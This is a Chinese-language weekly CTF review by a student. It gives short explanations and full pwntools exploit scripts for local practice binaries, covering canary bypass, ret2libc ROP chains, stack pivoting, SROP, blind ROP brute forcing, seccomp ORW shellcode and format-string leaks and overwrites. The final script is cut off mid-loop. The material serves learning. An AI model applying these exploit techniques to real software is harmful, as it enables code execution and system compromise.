周报(校赛复盘与学长题目的复现)

 ___stack_chk_fail

22a9ad6e458b476cb7e10af13c64a4ac.png

给出了可以修改任意地址八字节的函数

15c762c5146943d899becbc837653a01.png

存在栈溢出

可以将 ___stack_chk_fail改为ret,直接绕过canary,进行ret2libc。

exp

from pwn import *
from LibcSearcher import *
#context(os = 'linux', arch = 'amd64', log_level='debug')
io=process('___stack_chk_fail')
#io=remote('node4.anna.nssctf.cn',28486)
elf=ELF('___stack_chk_fail')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
ret=0x40101a
rdi=0x401363
main=0x40127a
gdb.attach(io)
pause()

io.sendlineafter(b'addr?\n', str(0x404020))
io.sendafter(b'value?\n', p64(ret))

payload1=b'a'*(0x18)+p64(rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(main)
io.sendline(payload1)
read_ad=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
base=read_ad-libc.sym['read']
print(hex(base))
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh'))
payload2=b'a'*(0x18)+p64(ret)+p64(rdi)+p64(sh)+p64(sys)
io.sendline(payload2)

io.interactive()

pthread

通过栈溢出修改canary的值来绕过canary。

exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#io=gdb.debug('./pthread', 'b vuln')
io=process('./pthread')
elf=ELF('./pthread')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

io.sendafter(b'name?\n', b'a')

payload=p64(0)*5+p64(0x1234)+p64(0)+p64(0x4012b0) 
payload=payload.ljust(0x848,b'\x00')+p64(0x1234)

io.sendlineafter(b'>>\n', payload)

io.interactive()

以上方法由于保护机制不同要在ubuntu18的环境下操作。

pie

351cad69494a4bdea0aa4ef5e0ddd14b.png

栈溢出一个字节将返回地址改为backdoor的地址。

exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io=process('./pie')
elf=ELF('./pie')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

io.recv()
payload=b'a'*(0x10)+p8(0x43)
io.send(payload)
io.interactive()

pie_two

688fea250dc24dc7b127c67cb5332a37.png

15f77725c9db4ebea49f931eb07ae3ca.png

栈溢出修改ret最后一字节返回到put函数,打印出 funlockfile函数地址,获得libcbase。

再构造ROP链获得shell。

exp

from pwn import *
#context(os='linux', arch='amd64', log_level='debug')

io=process('./pie_two')
elf=ELF('./pie_two')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
gdb.attach(io)
pause()
io.recv()
payload=b'a'*(0x10)+p8(0x57)
io.send(payload)
base=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['funlockfile']
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh\x00'))

rdi=base+0x2a3e5
ret=base+0x29cd6
payload1=b'a'*(0x10)+p64(ret)+p64(rdi)+p64(sh)+p64(sys)
io.send(payload1)

io.interactive()

 Stack_migration

558ff2b6964440bdb400ad12d6969f2f.png

由于栈溢出长度不够,栈迁移到bss段构造rop链,由于直接构造时esp没有可写与可执行权限,所以利用大量垃圾数据使esp抬到可执行的地址。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./Stack_migration')
elf = ELF('./Stack_migration')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

rdi=0x401323
ret=0x40101a
leave=0x401275
name=0x4040A0
sh=name

payload=b'/bin/sh\x00'.ljust(0x800,b'\x00')+p64(rdi)+p64(sh)+ p64(elf.sym['system'])

sa(b'name?\n',payload)

sa(b'>>',b'a'*8+p64(name+0x800-8)+p64(leave))

inter()

srop

0dc9590ead784117a9d00047a5e47936.png

该题使用srop的方法解决。

先通过写入/bin/sh,再通过write的输出获得/bin/sh的地址。

返回vuln函数。 构造sigfram结构体,获得shell。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./srop')
elf = ELF('./srop')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

rax_syscall=0x4011ed
syscall=0x4011da
s(b'a'*0x10+p64(elf.sym['vuln']))
stack=l64()
sh=stack-0x20

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = sh
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall

s(b'/bin/sh\x00'+b'a'*8+p64(rax_syscall)+p64(0xf)+flat(sigframe))

lg('stack', stack)
inter()

brop

通过爆破依次找到 buf+size,stop_gadget,pop6ret,puts_plt。

但是好难,根本不会。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

#context(os='linux', arch='amd64', log_level='debug')
p = process('./brop')
elf = ELF('./brop')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def find_stop_gadget(buf_size, start_addr = 0x400000, end_addr = 0x401000):
    stop_gadget = start_addr
    while True:
        time.sleep(0.1)
        stop_gadget += 1
        if(stop_gadget > end_addr):
        	log.info('not found!')
        	return 0
        payload = b'a' * buf_size + p64(stop_gadget)
        try: 
            p = process('./brop')
            p.sendafter(b'>>\n', payload)
            p.recv()
            p.close()
            return stop_gadget
        except EOFError as e:
            p.close()
            log.info("not 0x%x, try harder!", stop_gadget)
def get_stop_gadget():
	for i in range(0x18, 0x100, 8):
		rl = find_stop_gadget(i, 0x400560)
		if(rl):
			log.info("find one stop gadget: 0x%x", rl)
			break

def find_pop6_ret(buf_size, stop_gadget, start_addr = 0x400000, end_addr = 0x401000):
    pop6_ret = start_addr
    stop_gadget = stop_gadget

    while True:
        time.sleep(0.1)
        pop6_ret += 1
        if(pop6_ret > end_addr):
        	log.info('not found')
        	return 0
        payload = b'a' * buf_size + p64(pop6_ret) + p64(0) * 6 + p64(stop_gadget) 
        try:
            p = process('./brop')
            p.sendafter('>>\n', payload)
            resp = p.recv(timeout=0.5)
            p.close()
            log.info("find one stop_gadget: 0x%x", pop6_ret)

            if b'>>' in resp:
                try:
                    payload = b'a' * buf_size + p64(pop6_ret)
                    p = process('./brop')
                    p.sendafter('>>\n', payload)
                    p.recv()
                    p.close()
                except EOFError as e:
                    p.close()
                    log.info("find useful gadget: 0x%x", pop6_ret)
                    return pop6_ret
        except EOFError as e:
            p.close()
            log.info("not 0x%x,try harder", pop6_ret)

stop_gadget=0x400570
pop6_ret=0x40075a
rdi=pop6_ret+9
ret=pop6_ret+0xa

def find_puts_plt(buf_size, stop_gadget, start_addr = 0x400000, end_addr = 0x401000):
    elf_magic_addr = 0x400000
    puts_plt = start_addr

    while True:
        puts_plt += 1
        payload = b'a' * buf_size + p64(rdi) + p64(elf_magic_addr) + p64(puts_plt) + p64(stop_gadget)

        try:
            p = process('./brop')
            p.sendafter(b'>>\n', payload)
            resp1 = p.recvline(timeout=0.5)
            resp2 = p.recvline(timeout=0.5)

            if b'\x7fELF' in resp1 and b'>>\n' in resp2:
                p.close()
                log.info("puts_plt: 0x%x", puts_plt)
                return puts_plt
            p.close()
            log.info("find one stop gadget: 0x%x", puts_plt)

        except EOFError as e:
            p.close()
            log.info("not 0x%x, try harder", puts_plt)



puts_plt=0x400515

def dump_memory(buf_size, stop_gadget, puts_plt, start_addr=0x400000, end_addr = 0x401000):
    result = b''
    while start_addr < end_addr:
        sleep(0.1)
        payload = b'a' * buf_size + p64(rdi) + p64(start_addr) + p64(puts_plt)
        try:
            p = process('./brop')
            p.sendafter(b'>>\n', payload)
            resp1 = p.recv(timeout=0.5)
            if resp1 == b'\n':
                resp = b'\x00'
            elif resp1[-1:] == b'\n':
                log.info("[tail]leaking: 0x%x --> %s" % (start_addr, (resp or b'').hex()))
                resp = resp1[:-1] + b'\x00'
            else:
                resp = resp1
            
            if resp != resp1:
                log.info("[change]resp1: 0x%x: %s --> resp1: 0x%x: %s" % (start_addr, (resp1 or b'').hex(), start_addr, (resp or b'').hex()))

            log.info("leaking: 0x%x --> %s" % (start_addr, (resp or b'').hex()))
            result += resp
            start_addr += len(resp)
            p.close()
        except Exception as e:
            print(e)
            log.info("connect error")
    with open('pwn','wb') as f:
   		f.write(result)



p = process('./brop')
sa(b'>>\n', b'a'*0x18 + p64(rdi) + p64(0x601018) + p64(puts_plt) + p64(stop_gadget))
libc_base = l64() - libc.sym['puts']

lg('libc_base', libc_base)

ret = pop6_ret + 0xa
system, binsh = get_sb()

sa(b'>>\n', b'a'*0x18 + p64(ret) + p64(rdi) + p64(binsh) + p64(system))
inter()

close

eaf4415b72334716b4e9d0fa84857acc.png

直接给出了shell,但关闭了标准输出,我们需要重定向标准输出。

08dcd714a39a40309c24c820177fde41.png

ret2shellcode_orw

2af2047347eb45e9a9d42f7f576ecfe9.png

给出了buf的地址,关闭了NX保护,存在栈溢出,但是开启了沙盒,需要使用orw

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./ret2shellcode_orw')
elf = ELF('./ret2shellcode_orw')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

rl('gift : ')
stack = int(p.recv(14), 16)

#debug('b *0x4012db')

sa(b'>>\n', b'a'*0x10 + p64(stack + 0x18) + asm(shellcraft.cat('/flag')))

lg('stack', stack)

inter()

ret2libc_orw

20748d2b201545c296a9c048c0682a59.png

存在栈溢出,开启了沙盒与NX保护。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./ret2libc_orw')
elf = ELF('./ret2libc_orw')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rdi = 0x401333
ret = 0x40101a

#debug('b *0x4012a0')

sa(b'>>\n', b'a'*0x10 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(elf.sym['vuln']))

libc_base = l64() - libc.sym['puts']
system, binsh = get_sb()

rax = libc_base + 0x45eb0
syscall = libc_base + next(libc.search(asm('syscall; ret;')))
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_r12 = libc_base + 0x11f497
mprotect = libc_base + libc.sym['mprotect']
open_ = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
buf = 0x4040D0
flag = 0x4040a0

payload = b'a'*0x10
# read flag -> buf
payload += p64(rdi) + p64(0) + p64(rsi) + p64(flag) + p64(rdx_r12) + p64(8)*2 + p64(read)
# open flag
payload += p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rdx_r12) + p64(0)*2 + p64(open_)
# read flag
payload += p64(rdi) + p64(3) + p64(rsi) + p64(buf) + p64(rdx_r12) + p64(0x30)*2 + p64(read)
# write flag
payload += p64(rdi) + p64(1) + p64(write)

sa(b'>>\n', payload)

sleep(1)
s(b'/flag')

#pause()
inter()

one_gadget

bb1f4e4d8a9d4e1eb28febfade8ce14e.png

直接给出了puts的真实地址可以获得base。

随后可以向buf的地址改为其他函数的地址,接下来再在buf中写入onegadget。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64')
p = process('./one_gadget')
elf = ELF('./one_gadget')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

rl(b'gitf is ')
puts=int(r(14),16)
base=puts-libc.sym['puts']
one_gadget=base+0xebcf8

sla(b'addr?\n', str(elf.got['exit']))
sa(b'value?\n', p64(one_gadget))
inter()

Integer_Overflow

03ce53759792450cb8b68f59e4228023.png

存在整数溢出漏洞。

第一个输入点除输入-1.造成栈溢出

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64')
p = process('./Integer_Overflow')
elf = ELF('./Integer_Overflow')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

rdi = 0x401303
ret = 0x40101a

sla(b'size?\n', str(-1))
payload=b'a'*0x10 + p64(rdi) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(elf.sym['vuln'])
sa(b'>>\n', payload)

libc_base = l64() - libc.sym['puts']
system, binsh = get_sb()

sla(b'size?\n', str(-1))
payload=b'a'*0x10 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
sa(b'>>\n', payload)

lg('libc_base', libc_base)

inter()

Integer_Overflow_two

206e26da186049e9b306849451d9cdbb.png

也是整数溢出,但是这道题是通过回绕早成的。

8*num可以造成回绕

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64')
p = process('./Integer_Overflow_two')
elf = ELF('./Integer_Overflow_two')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

rdi = 0x4013f3
ret = 0x40101a

sla(b'size?\n',str(0x20000010))
def ct(idx, data):
	sla(b'idx?\n', str(idx))
	sa(b'value?\n', data)

ct(23, p64(rdi))
ct(24, p64(elf.got['puts']))
ct(25, p64(elf.sym['puts']))
ct(26, p64(elf.sym['vuln']))
for i in range(6):
	ct(0, p64(0))

libc_base = l64() - libc.sym['puts']
system, binsh = get_sb()

sla(b'size?\n', str(0x20000010))
ct(23, p64(ret))
ct(24, p64(rdi))
ct(25, p64(binsh))
ct(26, p64(system))
for i in range(6):
	ct(0, p64(0))


inter()

Format_String_Read_Anywhere_one

8cb942dab7d24242b491532e0c635a7c.png

存在格式化字符串漏洞,将flag读入4040A0,利用%s将其读出。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64')
p = process('./Format_String_Read_Anywhere_one')
elf = ELF('./Format_String_Read_Anywhere_one')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

flag=0x4040A0
payload=b'%9$saaaa'+p64(0x4040A0)
sa(b'>>\n',payload)


inter()

Format_String_Read_Anywhere_two 

cc311e0f65194337a37b708c1ed8ea5e.png

通过%p泄露存放在栈上的flag,再将输出的数据转换为字符。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64')
p = process('./Format_String_Read_Anywhere_two')
elf = ELF('./Format_String_Read_Anywhere_two')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

sa(b'>>\n', b'%8$p.%9$p.')
a = rl(b'.')[2:-1][::-1]
b = rl(b'.')[2:-1][::-1]
flag = ''
for i in range(0, len(a), 2):
	c = a[i:i+2][::-1]
	flag += chr(int(c, 16))
for i in range(0, len(b), 2):
	c = b[i:i+2][::-1]
	flag += chr(int(c, 16))
	
print(flag)


inter()

fmt

3020053e523e4a558e4cdfb9f02ce513.png

存在格式化字符串漏洞。通过格式化字符串泄露canary和libcbase。在栈溢出处修改ret为onegadget。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./fmt')
elf = ELF('./fmt')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


sa(b'name?\n', b'%7$p%3$p')
rl(b'Hello ')
canary = int16(r(18))
libc_base = int16(r(14)) - libc.sym['write'] - 23
one_gadget = libc_base + 0xebcf1
buf = libc_base + 0x21a440

sa(b'>>\n', b'a'*8 + p64(canary) + p64(buf + 0x70) + p64(one_gadget))

lg('canary', canary)
lg('libc_base', libc_base)
#pause()

inter()

fmt_stack

aaecf08477d14e94a6e266adec6f9c77.png

存在格式化字符串漏洞,且无限循环,将printf函数改为system函数即可。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./fmt_stack')
elf = ELF('./fmt_stack')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


sa(b'>>\n', b'%1$p%3$p%38$p')
stack = int16(r(14))
libc_base = int16(r(14)) - libc.sym['read'] - 0x12
pro_base = int16(r(14)) - elf.sym['main']
system, binsh = get_sb()
printf_got = pro_base + elf.got['printf']

payload = fmtstr_payload(6, {printf_got:system})
sa(b'>>\n', payload)


inter()

fmt_stack2

6a9080669f7648a29e8fd05ef39ce9a0.png

由于循环只能进行两次,所以我们先泄露libcbase和stack,然后修改i的值,由于onegadget都不满足要求,所以改为ROP链。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./fmt_stack2')
elf = ELF('./fmt_stack2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


sa(b'>>\n', b'%1$p%3$p')
stack=int16(r(14))
libc_base=int16(r(14))-libc.sym['read']-18
i=stack-0x4
ret_addr=stack+0x118
system, binsh = get_sb()
rdi=libc_base+0x2a3e5
ret=libc_base+0x29cd6

sa(b'>>\n', b'%255c%10$hhn'.ljust(0x10, b'\x00') + p64(i + 3))

for i in range(6):
